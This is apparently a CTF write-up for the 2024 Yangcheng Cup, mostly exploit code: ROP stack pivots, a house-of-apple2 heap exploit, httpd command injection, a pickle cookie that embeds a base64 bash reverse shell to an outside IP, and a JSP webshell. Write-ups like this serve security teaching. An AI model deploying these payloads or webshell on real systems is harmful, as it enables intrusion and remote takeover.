>>> v7[24] = 2432;
>>> v7[25] = 2432;
>>> v7[26] = 5632;
>>> v7[27] = 4416;
>>> v7[28] = 3456;
>>> v7[29] = 7168;
>>> v7[30] = 6528;
>>> v7[31] = 7488;
>>> v7[32] = 6272;
>>> v7[33] = 5632;
>>> v7[34] = 3520;
>>> v7[35] = 6208;
>>> v7[36] = 5632;
>>> v7[37] = 4736;
>>> v7[38] = 6528;
>>> v7[39] = 6400;
>>> v7[40] = 7488;
>>> v7[41] = 3520;
>>> v7[42] = 5632;
>>> v7[43] = 5184;
>>> v7[44] = 3456;
>>> v7[45] = 7488;
>>> v7[46] = 7296;
>>> v7[47] = 3200;
>>> v7[48] = 6272;
>>> v7[49] = 7424;
>>> v7[50] = 2432;
>>> v7[51] = 2432;
>>> v7[52] = 2432;
>>> v7[53] = 7808;
>>> for i in range(54):
... v7[i] = (v7[i] >> 6 ) ^ 0x7
...
>>> v7
[68, 65, 83, 67, 84, 70, 123, 86, 98, 97, 95, 49, 115, 95, 100, 97, 110, 103, 101, 114, 111, 117, 115, 33, 33, 33, 95, 66, 49, 119, 97, 114, 101, 95, 48, 102, 95, 77, 97, 99, 114, 48, 95, 86, 49, 114, 117, 53, 101, 115, 33, 33, 33, 125]
>>> for i in v7:
... print(chr(i),end='')
...
DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}>>>
Re-你这主函数保真么
字符串跟进到关键函数,发现是离散余弦+rot13
import numpy as np
from scipy.fftpack import dct, idct
# 创建一个示例数组,这里使用随机数
data = np.array([513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779, 6.98641, -29.2989, 15.9422, 21.4138, 29.4754, -2.77161, -6.58794, -4.22332, -7.20771, 8.83506, -4.38138, -19.3898, 18.3453, 6.88259, -14.7652, 14.6102, 24.7414, -11.6222, -9.754759999999999, 12.2424, 13.4343, -34.9307, -35.735, -20.0848, 39.689, 21.879, 26.8296])
# 执行逆DCT(IDCT)来恢复原始数据
original_data = idct(data, norm='ortho')
np.round(original_data)
print(np.round(original_data))
Pwn-pstack
这个题是一个比较新颖的栈迁移,无可控地址的时候可以修改rbp后使用read从而任意地址写,然后栈迁移
from pwn import *
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda: p.interactive()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'�'))
uu32 = lambda x: u32(x.ljust(4, b'�'))
context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h'])
# p=remote('139.155.126.78',31869)
p=process("./pwn")
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#################################################
#会用到的地址
vuln = 0x4006B0
read = 0x4006C4
data=0x601800 #这是data段取的一个未被使用的地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret=0x400773
leave_ret=0x4006db
ret=0x400506
#################################################
#leave之后rbp被修改为data段的一个地址,跳到调用read函数的地方,这个地方依赖rbp相对寻址
#导致read函数写data
payload=b"a"*0x30+p64(data)+p64(read)
sa("overflow?",payload)
#################################################
#使用read函数向data段写入rop链,溢出仍然存在,可以控制rbp和返回地址
#利用两次leave ret栈迁移到刚刚写入的地方,泄露libc地址
payload=p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln)
payload+=p64(0)*2+p64(data-0x38)+p64(leave_ret)
sd(payload)
#################################################
#读取puts函数真实地址,计算libc基地址
#计算需要用到的libc地址
rl()
libc_base=uu64(rl()[:-1])-libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
##################################################
#利用ret平衡栈,随后写入system("/bin/sh")的rop链,最后栈迁移到写入的开头
#getshell
payload = p64(ret)+p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload+= p64(0)*2+p64(data-0x50)+p64(leave_ret)
sa("overflow?",payload)
ita()
Pwn-httpd
这个题首先需要去逆向得到报文格式,才能进行数据交互,限制了 Host
, Content-Length
, Host
等字段
漏洞点在 sub_13ED
函数的 popen 函数,能够命令执行,但过滤并不严谨,随便绕一下就过去了
from pwn import *
context.log_level='debug'
io = remote("139.155.126.78", 37147)
payload = '''get /cat%20/flag>1.txt HTTP/1.0r
Host: 192.168.0.1r
Content-Length: 11r'''
io.sendline(payload)
print(io.recvline())
io.close()
io = remote("139.155.126.78", 37147)
payload = '''GET /1.txt HTTP/1.0r
Host: 192.168.0.1r
Content-Length: 11r'''
io.sendline(payload)
print(io.recvline())
io.close()
Pwn-TravelGraph
一个新颖的house of apple利用,外面套了一层数据结构的知识,难点主要在构造堆风水
from pwn import *
#本题要打一个house of apple这里引用一下作者的库
from pwncli import *
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
rc = lambda x: p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
ita = lambda: p.interactive()
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'�'))
uu32 = lambda x: u32(x.ljust(4, b'�'))
context(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h'])
elf = ELF("./pwn")
p = process("./pwn")
libc = ELF("./libc.so.6")
def cmd(idx):
sla(b'distance',str(idx))
def add(mode,from_where,to_where,distance=1000,data="a"):
cmd(1)
vehicle=[b'car',b'train',b'plane']
sla(b'?',vehicle[mode])
sla(b'?',citys[from_where])
sla(b'?',citys[to_where])
sla(b'?',str(distance))
sa(b'Note:',data)
def dele(from_where,to_where):
cmd(2)
sla(b'?',citys[from_where])
sla(b'?',citys[to_where])
def show(from_where,to_where):
cmd(3)
sla(b'?',citys[from_where])
sla(b'?',citys[to_where])
def edit(from_where,to_where,choice,distance=1000,data=b'a'):
cmd(4)
sla(b'?',citys[from_where])
sla(b'?',citys[to_where])
sla(b'?',str(choice))
sla(b'?',str(distance))
sa(b'Note:',data)
citys=[b"guangzhou",b"nanning",b"changsha",b"nanchang",b"fuzhou"]
############################################
#申请出一串路径,选择最远的两点,触发机制使edit_flag变为1,给一次edit机会
#另外这里残留了一些指针
add(2,0,1)
add(2,1,2)
add(2,2,3)
add(2,3,4)
cmd(5)
sla(b'?',citys[4])
############################################
#先释放不相邻的两块,使其放入unsorted bin,制造一个有libc地址有heap地址的块
dele(0,1)
dele(2,3)
dele(3,4)
dele(1,2)
############################################
#堆风水一下,想办法泄露刚才残留的指针
#泄露libc和heap基地址
add(0,0,1)
add(0,0,2)
add(0,0,3,1000,b'a'*(0x30-1)+b'^')
add(0,0,4)
show(0,3)
ru("^")
aheap=uu64(rc(6))
heap_base=aheap-0x558abcf73470+0x558abcf72000
dele(0,3)
add(0,0,3,1000,b'a'*(0x38-1)+b'~')
show(0,3)
ru("~")
alibc=uu64(rc(6))
libc_base=alibc-0x21ace0
libc.address=libc_base
#删除完,开始house of apple
dele(0,1)
dele(0,2)
dele(0,3)
dele(0,4)
##################################################
#以下部分使用了house of apple2,模板借用了原作者,稍作修改
target=libc.sym['_IO_list_all']
fake_io_1_addr=heap_base+0x1470
fake_io_2_addr=fake_io_1_addr+0x100
_IO_wstrn_jumps = libc_base + 0x216dc0
_IO_cookie_jumps = libc_base + 0x216b80
_lock = libc_base + 0x21ca60
point_guard_addr = libc_base - 0x2890
expected = fake_io_2_addr-0x10
magic_gadget = libc_base + 0x0000000000167420
mov_rsp_rdx_ret = libc_base + 0x5a120
add_rsp_0x20_pop_rbx_ret = libc_base + 0xd2ba5
pop_rdi_ret = libc_base + 0x2a3e5
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_rbx_ret = libc_base + 0x904a9
fake_io_1 = IO_FILE_plus_struct()
fake_io_1.chain = fake_io_2_addr
fake_io_1._flags2 = 8
fake_io_1._mode = 0
fake_io_1._lock = _lock
fake_io_1._wide_data = point_guard_addr
fake_io_1.vtable = _IO_wstrn_jumps
fake_io_2 = IO_FILE_plus_struct()
fake_io_2._IO_write_base = 0
fake_io_2._IO_write_ptr = 1
fake_io_2._lock = _lock
fake_io_2._mode = 0
fake_io_2._flags2 = 8
fake_io_2.vtable = _IO_cookie_jumps + 0x58
data = flat({
0: bytes(fake_io_1)[0x20:],
0xe0:{
0: bytes(fake_io_2),
0xe0: [fake_io_2_addr + 0x100, rol(magic_gadget ^ expected, 0x11)],
0x100: [
add_rsp_0x20_pop_rbx_ret,
fake_io_2_addr + 0x100,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
fake_io_2_addr & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc.sym['mprotect'],
fake_io_2_addr + 0x200
],
0x200: ShellcodeMall.amd64.cat_flag
}
})
add(0,0,1,1000,data)
add(0,0,2)
add(2,0,3,1000,b'a'*0x500+p64(0)+p64(0x521)+p32(2)+p32(4))#2x+0x20
add(1,0,4)#3x+0x50 B
add(0,1,2)
dele(0,4) #释放B
add(2,1,3)# 申请大块,放入largebin
payload=p64(0)+p64(0x531)+p64(libc_base+0x21b110)+p64(libc_base+0x21b110)+p64(heap_base+0x1210)+p64(target-0x20)
edit(2,4,0,1000,payload)
dele(0,1)
add(2,1,3)
cmd(6)#exit 触发 FROP
ita()
Pwn-logger
trace函数存在数组oob可以越界修改异常处理字符串
warn函数栈溢出修改返回地址为后门,控制好字符串的值,在抛出异常时即可执行到system('/bin/sh;'),然后通过溢出触发异常
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote(b'139.155.126.78', 31283)
#p = process('./pwn')
def trace(content=b'a', ctx=b'n'):
p.sendlineafter(b'chocie', b'1')
p.sendlineafter(b'here', content)
p.sendlineafter(b'records', ctx)
for i in range(9):
trace(b"/bin/sh;/bin/sh;")
p.sendlineafter(b'chocie:', b'2')
payload = b'a'*0x70 + p64(0X404400) + p64(0x401BC4)
p.sendafter(b'Type your message here plz:', payload)
p.interactive()
Web-Lyrics For You
任意文件读取,目录穿越读app.py
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
app = Flask(__name__)
app.secret_key = random.randbytes(16)
class UserData:
def __init__(self, username):
self.username = username
def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
@app.route("/", methods=['GET'])
def index():
return render_template('index.html')
@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)
存在pickle反序列化漏洞,使用opcode绕过关键字黑名单
发现key和cookie生成方式均为本地库,读取key和cookie生成方式
config/secret_key.py
cookie.py
简单修改一下代码,打印生成的cookie
import base64
import hashlib
import hmac
import pickle
import os
unicode = str
basestring = str
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
# resp = make_response("success")
# resp.set_cookie("user", value, max_age=3600)
return value
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value to long.')
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
def cookie_encode(data, key):
# msg = base64.b64encode(pickle.dumps(data, -1))
opcode = b'''(cos
system
S'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzgxLjcwLjE2My4xNTIvODIgMD4mMQ== | base64 -d|/bin/bash'
o.'''
msg=(base64.b64encode(opcode))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
print(cookie_encode(data="",key="EnjoyThePlayTime123456"))
Web-tomtom2
可以读取xml文件,因为需要后台登录,直接读取conf/tomcat-users.xml
获取账号密码
后台可以上传xml文件,考虑覆盖web.xml来将指定目录下的所有文件解析为jsp
简单修改,得到
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>JspServlet</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>mappedfile</param-name>
<param-value>/**/*.jsp,/**/*.jspx</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>JspServlet</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
</web-app>
因为web.xml会修改url解析,先上传一个webshell.xml,再上传web.xml
<%
if("b".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
原文始发于微信公众号(N0wayBack):羊城杯2024 WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论